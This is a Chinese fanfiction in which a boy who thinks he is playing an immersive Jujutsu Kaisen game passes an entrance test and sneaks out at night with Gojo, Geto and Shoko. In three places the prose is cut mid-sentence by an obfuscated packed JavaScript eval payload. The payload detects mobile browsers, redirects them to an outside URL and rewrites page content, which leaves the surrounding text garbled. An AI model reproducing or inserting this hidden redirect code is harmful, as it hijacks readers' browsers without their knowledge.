《第四天灾只想在咒术界摸鱼》 1. 我好像登录了个不得了的咒术游戏 望月遥是被一阵清脆的「欢迎登录」提示音吵醒的。 那声音不是从耳机里传来的,而是像直接钻进了他的耳膜,带着电子音特有的清脆,尾音还飘着一点若有若无的电流声。他猛地睁开眼,刺眼的阳光瞬间扎进瞳孔,让他下意识地抬手挡了一下,指缝间漏下来的光线亮得过分,连空气中漂浮的尘埃都看得一清二楚。 这也太真实了。 他心里头第一个冒出来的念头,不是“我在哪”,而是“这游戏的引擎怕不是把大厂家底都掏空了”。 视野右上角,一行半透明的淡蓝色字体悬浮在那里,像悬浮窗一样跟着他的视线移动,无论他怎么转头,都牢牢粘在那个角落。他眨了眨眼,字体还在;他抬手去抓,指尖却直接穿过了那行字,只捞了一把带着草木清香的风。 【咒术回战·联名高拟真沉浸式游戏】 【服务器:东京·咒术高专】 【玩家:望月遥】 【等级:1(初入江湖)】 【状态:正常(体力98/100,咒力???)】 【当前地点:咒术高专·结界外入口】 望月遥撑着膝盖慢慢站起来,宿醉般的昏沉感还没完全褪去。 他记得很清楚,昨晚为了抢这个联名游戏的内测资格,他熬到凌晨三点,对着电脑屏幕狂点鼠标,最后眼看着进度条走到100%,屏幕弹出“登录成功”的提示,他就一头栽倒在键盘上,再睁眼,就是现在这个场景了。 不就是沉浸式内测吗?他早有准备。 之前玩过的几款全息游戏,要么画质糊得像马赛克,要么触感假得像摸棉花,没想到这次咒术回战的联名款这么顶,连风的触感都分毫不差——吹在脸上带着三月初的微凉,还裹着一点路边樟树的叶子味,甚至还有一丝……说不上来的,像腐烂纸张混着铁锈的味道。 他皱了皱眉,视野右下角突然弹出一个小小的红色感叹号,旁边跟着一行提示:【检测到微弱咒力波动,属于正常环境交互,无需惊慌】。 哦,原来那是咒力的味道。望月遥瞬间释然,心里对这个游戏的细节还原度又高看了三分。 他低头打量了一下自己,身上穿的不是他昨晚的睡衣,而是一套干净的白色立领衬衫,外面套着件浅灰色的针织开衫,下身是黑色的长裤和帆布鞋,手腕上还戴着一块简单的电子表。款式简洁,却莫名贴合他的身形,应该是游戏的初始时装。 他抬手理了理额前有些凌乱的灰蓝色碎发,发尾带着自然的小卷,随着动作轻轻扫过脸颊。指尖触到耳尖时,碰到了一点冰凉的金属质感——是他自己打不久的耳洞,上面戴着一枚最简单的银色小圆环,在阳光下晃了晃,折射出细碎的光。 这游戏居然连他的身体特征都还原了?望月遥有点惊讶,抬手摸了摸自己的脸,温热的触感,细腻的皮肤,甚至连他左边嘴角的一颗浅痣都清晰可见。他又捏了捏自己的胳膊,实打实的肌肉触感,不是虚拟体那种轻飘飘的感觉。 “不愧是大厂,这波血赚。”他低声嘀咕了一句,声音软乎乎的,带着点刚睡醒的沙哑,在空旷的结界外显得格外清晰。 结界外的入口是一片看起来平平无奇的空地,左边是茂密的树林,右边是一条蜿蜒的柏油小路,路的尽头被一层淡紫色的半透明屏障挡住,那应该就是游戏里的“结界”了。屏障上泛着微弱的光泽,偶尔有树叶飘到上面,会被无声地弹开。 望月遥正对着结界研究,想看看有没有“点击进入”的交互提示,就听见身后传来一阵脚步声。 不是游戏里的背景音,是实实在在的、由远及近的脚步声,带着三个人的重量——一个脚步声轻快得像跳着走,一个沉稳有力,还有一个不紧不慢,带着点漫不经心的拖沓。 他转过身,正好对上三道目光。 为首的是个白发少年,看着和他年纪差不多大,大概十六七岁的样子。他戴着一副黑色的墨镜,遮住了眼睛,只露出一截白皙的额头和线条利落的下颌。少年的头发是耀眼的银白色,发梢微微炸开,像顶着一团蓬松的云,他走得最快,到了望月遥面前,也不打招呼,直接把胳膊搭在了他的肩上。 那一瞬间,望月遥清晰地感受到了肩膀上的重量,还有少年掌心传来的温度。 “哇哦——”白发少年拖长了语调,声音清亮又欠揍,带着点雀跃的好奇,“这就是那个让夜蛾老师挠破头,说术式根本没法归类的新人?长得倒是挺好看,比我想象中顺眼多了。” 他的胳膊搭得很随意,却带着点不容拒绝的熟稔,望月遥下意识地想躲,却被对方牢牢按住了肩膀。视野右上角的系统提示突然跳了一下:【检测到玩家与NPC五条悟产生肢体交互,好感度系统已激活】。 紧接着,一个半透明的蓝色面板在他眼前弹开,上面清晰地显示着三行信息: 【NPC:五条悟】 【身份:咒术高专二年级生(准)】 【初始好感度:20(好奇的陌生人)】 望月遥的目光在“NPC”三个字上停留了半秒,心里暗暗点头:果然,是可交互的核心NPC。而且初始好感度20,不算低,看来这个角色的初始设定就是“自来熟”。 站在白发少年旁边的,是个黑发少年。他穿着和白发少年同款的黑色制服外套,扣子扣得整整齐齐,头发束在脑后,只留了额前的碎发。他抱着胳膊,靠在旁边的树干上,看着白发少年的眼神带着明显的无奈,却又透着几分纵容。 看到望月遥看过来,他推开白发少年搭在望月遥肩上的手,对着望月遥微微颔首,语气温和,像春日里的风:“别理他,他就是见谁都想凑上去搭话。我是夏油杰,和他一样,是今年要升入二年级的学生。夜蛾老师让我们来接你进去。” 【NPC:夏油杰】 【身份:咒术高专二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332737|199182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年级生(准)】 【初始好感度:25(温和的接引者)】 又是一个核心NPC。望月遥心里有数,目光转向了第三人。 那是个叼着烟慵懒随性的少女,站在两人身后半步的位置,存在感却一点也不弱。她穿着同样的黑色制服,只是外套没穿,搭在胳膊上,里面是白色的衬衫,她的头发是棕色的,剪得短短的,浅棕色的眼睛扫过望月遥时,带着点漫不经心地感觉。 她走到望月遥面前,声音懒懒道:“家入硝子,术式是反转术式,简单说,就是负责给你们这些爱逞强的家伙治伤的。”她顿了顿,目光落在望月遥耳尖的银环上,又扫过他冰蓝色的眼睛,“记住了,以后出任务断手断脚、缺胳膊少腿,来找我就行,但别指望我会哄人哦。” 【NPC:家入硝子】 【身份:咒术高专二年级生(准)】 【初始好感度:15(警惕的医疗兵)】 三个核心NPC齐活了,而且都是“二年级生(准)”,看来是负责接引他这个“新生”的引导者,不过作为转校生,他以后也是他们的同期,望月遥心里的算盘打得噼啪响,觉得这游戏的新手引导设计得挺贴心,直接安排了三个高人气角色来带他,省去了他到处找任务的麻烦。 他收敛了心思,对着三人弯眼一笑,冰蓝色的眼瞳里像盛了漫天的碎星,眼角微微弯起,露出一点浅浅的梨涡。他清了清嗓子,往前迈了一小步,站在三人面前,双手背在身后,摆出了一个他早就想好的、足够抽象的自我介绍姿势。 阳光穿过树林的缝隙,落在他身上,给他的灰蓝色头发镀上了一层金边,耳尖的银环闪着光,整个人看起来干净又明亮,和他接下来要说的话,形成了巨大的反差。 “你们好呀,三位未来的同期们。” 他的声音软乎乎的,带着点少年人的清脆,先打了个招呼,让对面三人都愣了一下——显然没料到这个被传得“术式离谱”的新人,说话居然这么软。 紧接着,望月遥深吸一口气,眼神瞬间变得无比认真,仿佛在宣布什么惊天动地的大事,语气却一本正经得离谱: “我是望月遥,年龄十六,身高一米七五,体重保密。” “职业定位:第四天灾·沉浸式体验玩家·摸鱼派掌门人。” “核心技能:系统随机抽取·不讲道理·抽象到连我自己都看不懂的术式。” “战斗风格:能靠道具解决的绝不打架,能开简单模式的绝不硬刚,能摸鱼的绝不加班。” “终极目标:在咒术高专混到毕业,集齐所有SSR队友的满好感度,顺便把游戏里的限定甜品都吃一遍。” 他说完,还对着三人比了个标准的“耶”。 冰蓝色的眼睛弯成了两道小月牙,笑容灿烂得晃眼:“总而言之,我是来玩游戏的,不是来拼命的。以后请多指教啦——我的专属SSR游戏搭子们!” 2. 第四天灾的入学测试 风吹过树林,发出沙沙的声响,路边的草叶晃了晃,结界上的淡紫色光泽闪了一下,却没人说话。 空气瞬间安静了。 五条悟先是愣了三秒,然后突然爆发出一阵大笑,笑得直不起腰,一边笑一边拍望月遥的肩膀,力道大得差点把他拍趴下:“哈哈哈哈!第四天灾?摸鱼派掌门人?你这家伙,是不是从哪个搞笑游戏里穿过来的?太有意思了,我喜欢!” 他的笑声爽朗又肆意,在空旷的结界外回荡,连树上的鸟都被惊飞了几只。 夏油杰扶着额头,无奈地叹了口气,嘴角却忍不住微微上扬,看向望月遥的眼神里多了几分真切的笑意:“望月同学,你的自我介绍,确实……很特别。我还是第一次听人把‘摸鱼’说得这么理直气壮。” 家入硝子哼了声带着点忍俊不禁,扬起的嘴角证明了她的心情不错,“第四天灾?听起来倒是挺符合你那离谱的术式。希望你到了训练场,还能记得自己说的‘能摸鱼绝不加班’。” 望月遥看着三人的反应,心里暗暗点头:不错不错,NPC的情绪反馈很到位,被他的抽象自我介绍逗笑,好感度应该涨了吧? 他偷偷点开好感度面板,果然看到上面的数字变了: 【五条悟:好感度20→30(觉得你有些有趣)】 【夏油杰:好感度25→35(对你产生了一点点好奇)】 【家入硝子:好感度15→20(觉得你还算好玩,不算讨厌)】 “赚了赚了。”他在心里嘀咕,脸上却依旧是那副乖巧温柔的笑容,“你们别笑嘛,我说的都是真的。我的术式真的是系统抽的,抽象到我现在都没搞懂怎么用。” “哦?”五条悟终于止住了笑,直起身子,单手撑着下巴,饶有兴致地看着他,“那正好,我们带你进去的第一件事,就是入学测试。让我们看看,你这‘抽象术式’到底有多离谱。” 夏油杰也点了点头,转身朝着结界的方向走去:“走吧,望月同学,结界的入口需要我们带你进去,一般人是看不到的,也进不来。” 家入硝子跟在夏油杰身后,走了两步,又回头看了一眼望月遥,提醒道:“入学测试是模拟咒灵对战,虽然是模拟,但也会有痛感,你要是怕了,可以提前说。” “痛感?”望月遥眨了眨眼,心里更惊讶了,“这游戏居然还有痛觉反馈?” 他跟着三人往结界走去,一边走一边在心里点开系统面板,想看看有没有“关闭痛觉”的设置。 结果翻了一圈,只看到【痛觉反馈:100%(真实沉浸模式)】,旁边还标着“不可修改”。 “行吧,为了体验感,忍了。”他认命地关掉面板,跟在夏油杰身后。 夏油杰走到淡紫色的结界前,抬手在上面按了一下,嘴里念了一句晦涩的咒语。原本看似坚固的结界,瞬间出现了一个一人宽的缺口,里面是一条蜿蜒的石板路,路的尽头,能看到一栋古朴的日式建筑,屋顶铺着青瓦,院子里种着樱花树,枝头已经冒出了小小的花苞。 “这就是咒术高专?”望月遥忍不住感叹,“比游戏宣传图上还好看。” “游戏宣传图?”五条悟凑到他身边,好奇地问,“你说的是什么?” “就是……”望月遥刚想解释,突然意识到自己是“玩家”,而他们是“NPC”,解释了他们也听不懂,便摆了摆手,“没什么,就是觉得这里很漂亮。” 五条悟挑了挑眉,没再追问,只是率先走进了结界:“走啦走啦,入学测试要开始了,夜蛾老师还在训练场等着呢,要是你表现得够离谱,说不定能让他当场捏个新的咒骸。” “夜蛾老师?是负责测试的NPC吗?”望月遥跟在他身后,小声问。 “是我们的班主任。”夏油杰回头笑了笑,“也是咒骸制作的专家,他捏的咒骸,比真人还逼真。” 望月遥眼睛一亮:“那岂不是可以收集?系统有没有‘咒骸收集图鉴’?” 五条悟:“……” 夏油杰:“……” 家入硝子:“……你果然满脑子都是游戏。” 穿过结界,石板路两旁的景色渐渐清晰起来。左边是一片开阔的操场,上面摆着各种训练器材,右边是几栋日式建筑,看起来像是宿舍和教学楼,偌大的高专却没见到一个人。 不过这也正常啦,毕竟咒术师很少嘛。 训练场在操场的最里面,是一个用结界围起来的巨大空地,场地中央,立着几个巨大的金属架子,上面绑着……看起来像是咒灵的东西? 不,不是像,那就是咒灵。 望月遥的视野右上角,瞬间弹出了红色的警告提示:【警告!检测到一级模拟咒灵能量波动,危险等级:A-】。 他定睛一看,场地中央的金属架子上,绑着三个形态各异的咒灵。一个是浑身长满触手的章鱼状,一个是身高三米的巨人状,还有一个是漂浮在空中的黑雾状,身上散发着浓郁的黑色咒力,让空气都变得粘稠起来。 观众席上,一个穿着黑色风衣、脸上戴着面具的男人站了起来,对着他们挥了挥手,声音透过扩音器传了过来:“五条!夏油!硝子!你们把新人带来了?” 【NPC:夜蛾正道】 【身份:咒术高专班主任,咒骸制作师】 【好感度:10(好奇的老师)】 是班主任NPC。望月遥立刻站直了身体,对着夜蛾正道鞠了一躬,声音软乎乎的:“老师好!我是望月遥!” 夜蛾正道愣了一下,显然没料到这个“术式离谱”的新人这么有礼貌,语气也温和了不少:“嗯,来了就好。望月同学,入学测试的规则很简单——在这三个一级模拟咒灵的攻击下,坚持十分钟,或者击倒其中一个,就算通过。” “因为你一进来就是一级咒术师的评级,所以我也需要大概了解你的实力。” 他顿了顿,补充道:“模拟咒灵的咒力被限制了70%,不会造成致命伤,但痛感是真实的,你可以使用自己的术式,不用有顾虑。” 一级?还只限制了70%?望月遥心里咯噔一下,点开系统面板,看了一眼自己的属性:【等级1,体力98,咒力???,技能:玩家直觉、快捷拾取、友好交互、难度下调】。 就这?打一级?系统怕不是想让他开局就删号重练? 他转头看向身边的三人,眨巴眨巴眼,看起来特别无辜,眼神里还带着点求助:“五条同学夏油同学,你们不帮忙吗?展现同学爱的时候到了,新手任务不是应该有引导者帮忙吗?” 五条悟双手抱胸,笑得一脸幸灾乐祸:“这是入学测试,只能你自己来哦,我们要是帮忙,夜蛾老师会生气的。” 夏油杰也点了点头,语气温和却坚定:“放心吧,望月同学,硝子在旁边,就算你受了伤,也能立刻治好,我们会在旁边看着的。” 家入硝子已经走到了场地边缘,放下手里的医疗箱,对着他比了个“加油”的手势,虽然语气还是淡淡的:“别死得太难看,我不想刚开学就处理太麻烦的伤口。” 望月遥:“……” 合着你们三个就是来吃瓜的? 他深吸一口气,心里给自己打气:没事,他有挂,不对,是有系统技能。 实在不行,就开“难度下调”,总能撑过去的。 夜蛾正道看他准备好了,对着场地中央的金属架子挥了挥手:“解开限制!测试开始!” 随着他的话音落下,绑着咒灵的金属架子瞬间炸开,三道黑色的身影猛地朝着望月遥扑了过来! 章鱼状的咒灵甩出无数根触手,带着呼啸的风声,直逼他的面门;巨人状的咒灵抬起巨大的拳头,朝着他的位置狠狠砸下,地面都开始震动;黑雾状的咒灵则漂浮在空中,喷出一团黑色的火焰,朝着他席卷而来。 速度快得离谱,咒力浓郁得让人窒息。 望月遥的心跳瞬间加速,视野右上角的红色警告提示疯狂闪烁,【玩家直觉】被动触发,脑海里瞬间响起系统的提示音:【警告!左侧触手来袭,闪避方向:右后方!】【警告!正前方拳头来袭,闪避方向:左侧!】【警告!上方火焰来袭,闪避方向:原地蹲下!】 太多了!根本躲不过来! 他脑子里瞬间闪过无数个念头,想用“快捷拾取”把触手捡起来,想对咒灵用“友好交互”,想转身就跑……但时间根本不允许他多想。 就在触手、拳头、火焰即将同时击中他的瞬间,望月遥猛地抬起头,冰蓝色的眼睛里闪过一丝坚定,他对着扑来的三个咒灵,伸出手,轻轻挥了一下,用所有人都能听到的声音,认真又平静地喊道: “系统!开个简单模式!” 话音落下的瞬间,他的视野里弹出了一个半透明的确认框:【是否消耗20点体力(新手半价),开启“难度下调”技能,将目标难度降至“简单”?】 “确认!”他在心里默念。 【叮——玩家使用技能:难度下调】 【技能生效中……目标:一级模拟咒灵×3】 【难度已降至“简单”,持续时间:五分钟】 下一秒,诡异的事情发生了。 原本张牙舞爪的三个咒灵,动作猛地一顿,像是被按下了慢放键。 章鱼状咒灵的触手,停在距离望月遥脸颊只有一厘米的地方,在空中晃了晃,像是失去了力气;巨人状咒灵的拳头,砸在距离他脚尖只有几厘米的地面上,却只发出了一声轻微的闷响,连一点灰尘都没扬起来;黑雾状咒灵喷出的黑色火焰,在半空中变成了小小的火苗,飘了两下,就熄灭了。 紧接着,三个咒灵像是突然“蔫”了一样。 章鱼状咒灵缩回了所有触手,缩成一团,漂浮在半空中,用两只小小的眼睛可怜巴巴地看着望月遥;巨人状咒灵蹲了下来,抱着膝盖,把头埋在怀里,像个受了委屈的孩子;黑雾状咒灵则变成了一团小小的黑雾,在原地转了两圈,然后朝着望月遥的方向飘了过来,像是在撒娇。 整个训练场,瞬间陷入了死一般的寂静。 夜蛾正道脸上的墨镜,都差点掉下来。 场地边缘,五条悟原本还带着幸灾乐祸的笑容,此刻却僵在了脸上,眼罩下的眼睛睁得大大的,嘴里喃喃道:“……哈?” 夏油杰的指尖微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“哇,奖励这么丰富!”他眼睛一亮,瞬间把夜蛾老师的问题抛到了脑后,熟练地发动【快捷拾取】,把地上的“咒灵残骸”——也就是三个咒灵变回的黑色碎片,捡进了背包里。 然后,他打开背包,拿出那十颗草莓味的糖果,笑眯眯地走到五条悟、夏油杰和家入硝子面前,把糖果分成三堆,递到他们面前。 他的指尖修长,骨节分明,拿着糖果的样子格外温柔,生怕把糖捏碎了。 “给你们吃,入学测试的奖励,算是新手福利哦。”他弯着眼睛,语气软绵绵的,说实话,有点像绵羊。 “五条同学我觉得应该会喜欢甜的,所以给你这个;夏油同学,这个味道比较淡;家入同学,你要是不喜欢,可以不吃。” 系统非常贴心的把这些糖果分成了三种不同的甜度,供玩家自由选择。 三人心里都愣了一下。 刚才在结界外,他们只是随口说了几句话,根本没提过自己的口味。可望月遥却精准地把最甜的那堆给了五条悟,把淡味的给了夏油杰,还给家入硝子留了选择。 以为是电波系,其实还夹杂了直觉系吗? 五条悟接过糖果,剥开一颗塞进嘴里,草莓的甜味瞬间在嘴里化开,他眯起眼睛,笑得开心:“还不错嘛,望月遥。” 【五条悟:好感度30→35(恭喜你成功用糖果俘获了他的心)】 夏油杰也接过糖果,剥开一颗尝了尝,味道清甜,不腻人,虽然他并不喜欢吃甜的,但是新同学的心意他感受到了,他也对着望月遥笑了笑,语气格外温和:“谢谢,很好吃。” 【夏油杰:好感度35→40(虽然奇怪但是人还不错的新同学)】 家入硝子犹豫了一下,还是接过了糖果,剥开一颗塞进嘴里。甜丝丝的味道在嘴里散开,冲淡了刚才的震惊。她看着望月遥温柔的笑容,嘴角几不可察地弯了一下,声音依旧淡淡的,却柔和了不少:“……勉强还行。” 【家入硝子:好感度20→30(新来的同学人还不错)】 望月遥看着好感度面板上的数字,心里乐开了花。 这波入学测试,不仅通过了,还刷了一波好感度,赚翻了! 他抬头看向夜蛾正道,笑着说:“老师,我通过测试了吗?” 夜蛾正道回过神,点了点头,语气带着点复杂:“通过了,不负一级咒术师的评价,望月同学,你的术式……确实很特别。以后在高专,有什么不懂的,可以问我,也可以问五条、夏油和硝子。” “好的,谢谢老师!”望月遥乖巧地鞠了一躬。 阳光洒在训练场的地面上,也洒在四个少年少女的身上。 五条悟拿着糖果,在场地里跑来跑去,时不时给望月遥塞一颗;夏油杰站在旁边,看着他们笑,手里还拿着没吃完的糖果;家入硝子靠在场地边缘的栏杆上,嘴里含着糖果,目光落在几个人身上,带着点不易察觉的温柔。 就在望月遥把最后一颗草莓糖塞进嘴里时,视野右上角突然弹出一行金色的系统提示,比平时的淡蓝色字体醒目得多: 【叮——触发特殊事件:同期四人组的初遇时刻】 【检测到玩家与核心NPC产生情感交互】 【恭喜玩家获得限定CG:《高专初遇·草莓糖与少年》】 【CG已保存至玩家相册,可随时查看】 3. 不夜游的天灾不是好天灾 望月遥是被一阵「体力恢复完成」的提示音吵醒的。 他猛地睁开眼,宿舍里一片漆黑,只有窗外透进来的月光,在榻榻米上投下斑驳的影子。 视野右上角的状态栏显示:【体力:100/100,咒力:???,状态:精力充沛】。 “啧,这游戏连睡觉都有体力恢复机制?”他坐起身,揉了揉眼睛,声音在安静的房间里显得格外清晰。 白天的入学测试还历历在目——三个一级模拟咒灵在他一句“开个简单模式”后,瞬间从凶神恶煞变成了乖巧的“宠物”,夜蛾老师和其他三位同期的表情,他现在想起来还忍不住想笑。 不过,白天的时间都在他的插科打诨中度过了,还没有好好探索过“高专地图”。 望月遥的眼睛在黑暗里亮了起来,像猫一样。 他悄悄掀开被子,赤着脚踩在微凉的榻榻米上,动作轻得像一阵风。 都玩游戏了,为什么还要规规矩矩的,他决定了,他要夜游! 他记得白天路过操场时,看到过一个被结界笼罩的区域,系统提示那里是“咒术高专禁地”,好奇心像猫爪子一样挠着他的心。 “反正都是游戏,禁地说不定有隐藏宝箱呢?”他在心里嘀咕,熟练地打开背包,翻到白天捡的咒灵碎片和草莓糖果,扔了回去,又摸出一个【夜视眼镜】——这是他在新手村(结界外)顺手捡的,系统描述是“能在黑暗中看清一切”。 他戴上眼镜,眼前的世界瞬间清晰起来。走廊里的木质地板、墙上的挂画、角落里的盆栽,甚至连地板缝隙里的灰尘都看得一清二楚。 “不错,这道具值了。”他满意地点点头,踮着脚尖,像个偷溜出去的小贼,悄无声息地溜出了宿舍。 夜晚的咒术高专,和白天完全不同。 白天热闹的操场空无一人,只有风吹过樱花树的沙沙声;教学楼的窗户都关着,里面一片漆黑;远处的训练场,结界在月光下泛着淡紫色的光,像一层薄薄的纱。 望月遥的目标很明确——那个被标注为“禁地”的结界。 他沿着操场边缘的小路走,一边走一边在心里打开地图。地图上,咒术高专的布局清晰地展现在他眼前:宿舍区、教学楼、训练场、食堂,还有几个被标为“???”的区域,其中一个就在操场的尽头,就是他要找的“禁地”。 “系统,有没有隐藏任务提示?”他小声问。 【当前无任务,可自由探索】 “行吧,那我自己找。” 他刚走到操场尽头,就听到了说话声。 不是系统提示音,是真实的、带着少年气息的声音,从结界旁边的樱花树后面传了过来。 “……所以你真的觉得那个望月遥,术式是‘难度下调’?”是夏油杰的声音,带着点无奈的笑意。 “不然呢?”五条悟的声音听起来很兴奋,“你没看到那三个模拟咒灵的样子吗?跟被抽走了魂一样,太有意思了!” “你们俩能不能小声点?”家入硝子的声音带着点嫌弃,“夜蛾老师要是知道我们半夜溜出来,肯定要罚我们抄咒术手册。” 望月遥:“……” 他脚步一顿,差点踩空。 怎么回事?深夜探险还能遇到NPC组队? 他赶紧躲到旁边的樱花树后面,探出半个脑袋,用夜视眼镜仔细看。 樱花树后面,三个身影靠在树干上,手里都拿着一罐饮料。 五条悟盘腿坐在地上,手里的饮料罐已经空了一半;夏油杰靠在树干上,手里拿着一罐柠檬茶;家入硝子则坐在石头上,手里拿着一罐咖啡,眉头微微皱着,表情十分嫌弃的看着旁边俩dk。 “他们怎么也出来了?”望月遥忍不住小声嘀咕。 “不然呢?”五条悟突然转过头,对着他的方向挑了挑眉,“总不能让你一个人偷偷摸摸地探索禁地吧?” 望月遥:“!” 他被抓包了! 他从樱花树后面走出来,脸上带着一点尴尬的笑容,冰蓝色的眼睛在夜视眼镜下显得格外明亮:“啊……你们也没睡啊?” “被某人的动静吵醒了。”家入硝子推了推眼镜,语气平静,“我们刚从食堂偷了饮料出来,就看到你像个小贼一样溜过来。” “偷饮料?”望月遥眼睛一亮,“还有吗?我也想喝!” “没有了。”五条悟晃了晃空罐子,笑得欠欠的,“谁让你出来得太晚。” 夏油杰无奈地摇了摇头,从口袋里摸出一颗薄荷糖,那是他吃了咒灵球之后吃了压味道的,虽然没什么用,但现在用来安抚望月遥刚好,“别理他,这个给你。” “唔唔,谢谢夏油同学,还是夏油同学人好哇:”望月遥接过糖,剥开塞进嘴里,清凉的薄荷味瞬间溢满口腔,让他被抓包的尴尬心淡了下去。 他靠在樱花树上,看着眼前的三人,心里有点好奇:“你们为什么也出来啊?” “还不是因为某人。”家入硝子瞥了五条悟一眼,“他发现你大半夜不睡觉出了宿舍楼,说要看看你半夜出来干什么,非要拉着我们一起。” “我这是关心新同学!”五条悟理直气壮,“万一你被咒灵抓走了怎么办?” “这里是咒术高专,怎么会有咒灵?”望月遥眨眨眼。 “谁说没有?”夏油杰的语气严肃了一点,“高专的结界虽然强,但偶尔也会有漏网之鱼,尤其是禁地那边,咒力波动很不稳定,之前就出现过二级咒灵。” “禁地?”望月遥的注意力瞬间被吸引,“里面有什么?” “不知道。”五条悟耸耸肩,“夜蛾老师不让我们进去,说是里面有很危险的东西。” “越是不让进,我越想进去。”望月遥的眼睛亮了起来,像个发现了宝藏的孩子,“说不定里面有隐藏宝箱,或者稀有道具呢?” “你果然满脑子都是游戏。”家入硝子翻了个白眼,却没有阻止他。 夏油杰看着望月遥兴奋的样子,无奈地笑了笑:“你要是真想去,我们可以陪你一起。不过,只能在外面看看,不能进去。” “好!”望月遥立刻点头。 四人朝着禁地的结界走去。 月光下,结界泛着淡紫色的光,像一层薄薄的纱,里面一片漆黑,什么都看不见。结界周围的空气很压抑,带着浓郁的咒力波动,让人喘不过气。 望月遥的视野右上角,弹出了红色的警告提示:【警告!检测到强烈咒力波动,危险等级:B,建议谨慎】。 “哇,是二级咒灵?”他皱了皱眉,却没有后退,反而往前凑了凑,“系统,能不能扫描一下里面有什么?” 【无法扫描,区域权限不足】 “行吧,那我自己看。” 他戴上夜视眼镜,仔细盯着结界里面。 里面一片漆黑,只有偶尔闪过的黑色影子,像是有什么东西在里面移动。突然,一道黑色的影子猛地撞在结界上,发出一声沉闷的声响,结界上的淡紫色光瞬间剧烈闪烁起来。 “小心!”夏油杰立刻挡在望月遥身前,指尖凝聚起咒力。 五条悟也稍微认真了一点,摘下墨镜运转六眼,“是咒灵,二级,快接近一级了。” 家入硝子打了个哈欠,往后靠了靠,“你们加油啊,受伤找我。” 望月遥却一点都不害怕,反而兴奋起来:“哇,是精英怪!说不定掉稀有道具!” 他刚想往前冲,就被五条悟一把拉住了:“你怎么比我还莽,能被关在结界里的准一级能是什么好东西。” “准一级。”望月遥眼睛更亮了,“那掉的道具肯定更稀有!” “你这家伙……”五条悟扶额,“能不能有点危机感?” “算了,有本大爷在估计你们也不会有事。” 就在这时,结界突然剧烈震动起来,一道巨大的黑色裂缝从结界中央裂开,一只浑身覆盖着坚硬甲壳、长着数对镰刀状前肢的咒灵从裂缝里钻了出来,朝着四人扑了过来。 那咒灵比白天测试时的模拟咒灵还要灵活,没有了咒力压制效果,看起来更凶狠了。 镰刀状前肢带着浓郁的黑色咒力,每一次挥动都能划破空气,散发着令人作呕的腥气。 “……这什么破结界啊这都能碎。”夏油杰吐槽道,立刻召唤出咒灵,挡在前面,“硝子,再往后退,悟,我们俩解决它。” “就这么个东西还用得着我们两个人出手吗,我自己来。”五条悟瞬间冲了出去,白发在月光下飞扬,“望月,你躲在后面,别乱动。” 家入硝子则站在望月遥身边,拉住跃跃欲试的望月遥,语气严肃:“你今天刚入高专什么都没学,要是往前凑受伤了,别喊疼,我可不会哄你。” 望月遥点了点头,却没有躲在后面。他看着扑过来的咒灵,心里默默打开系统面板,手指在“难度下调”技能上悬停。 “系统,能不能对这个咒灵用‘难度下调’?” 【目标咒力未经压制,判定危险系数高,需消耗体力50点,持续时间3分钟,是否确认?】 “确认!” 就在咒灵的镰刀前肢即将碰到夏油杰的咒灵时,望月遥猛地抬起手,对着咒灵喊道:“滴滴滴,开启简单模式。” 【叮——玩家使用技能:难度下调】 【技能生效中……目标:二级(近一级)咒灵】 【难度已降至“简单”,持续时间:3分钟】 下一秒,熟悉的事情发生了。 原本张牙舞爪的咒灵,动作猛地一顿,像是被按下了慢放键。 它的镰刀前肢停在半空中,浑身的黑色咒力瞬间消散,坚硬的甲壳也变得柔软起来,动作变得迟缓又笨拙,像个刚学走路的孩子。 夏油杰的咒灵停在半空中,一脸茫然;五条悟的动作僵住了,他想展示身手的心在面对现在这个威胁度拉爆了的咒灵面前提不起半点兴趣。 望月遥走到咒灵面前,蹲下身,用手指戳了戳它的甲壳。 咒灵抖了一下,却不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“而且这里还有咒力残骸。” 夜蛾正道环顾四周,最后把目光落在樱花树后面,语气严肃:“出来吧,我看到你们了。” 四人:“……” 他们慢吞吞地从樱花树后面走出来。 家入哨子一脸生无可恋,望月遥低着头,像做错事的孩子,五条悟和夏油杰则是一个看天一个看地,就是不看夜蛾正道。 “五条悟,夏油杰,家入硝子,还有望月遥。”夜蛾正道的声音带着点无奈,“你们四个,半夜不睡觉,在这里干什么?” “我们……”夏油杰刚想开口,就被望月遥抢了先。 望月遥抬起头,冰蓝色的眼睛里满是真诚,语气绵软,“老师,其实我们是出来巡逻的,看到有二级咒灵从结界里跑出来,就把它解决了!” 夜蛾正道:“……” 五条悟:“……” 夏油杰:“……” 家入硝子:“……” 空气瞬间安静了。 过了好一会儿,夜蛾正道才扶着额头,无奈地叹了口气:“望月同学,你还能再编个像样点的理由吗。” “好吧,其实我是出来思考人生的,只是恰好遇见了咒灵顺手祓除了一下。”望月遥一脸认真,“我们真的解决了咒灵夜蛾老师,你看。” 他从背包里拿出准一级咒灵碎片,递到夜蛾正道面前。 夜蛾正道接过碎片,仔细看了看,脸色变得复杂起来:“这确实是准一级咒灵的碎片……你们是怎么解决的?” “是我!”望月遥挺起胸膛,一脸骄傲,“我用我的术式,开了个简单模式,就把它解决了!” 夜蛾正道:“……” 他看着眼前一脸骄傲的少年,又看了看旁边一脸无奈的三人,最终还是叹了口气:“算了,这次就不罚你们了。但以后不许再半夜溜出来,尤其是禁地附近,太危险了。” “知道了,老师。”四人异口同声地说。 夜蛾正道离开后,四人才松了一口气。 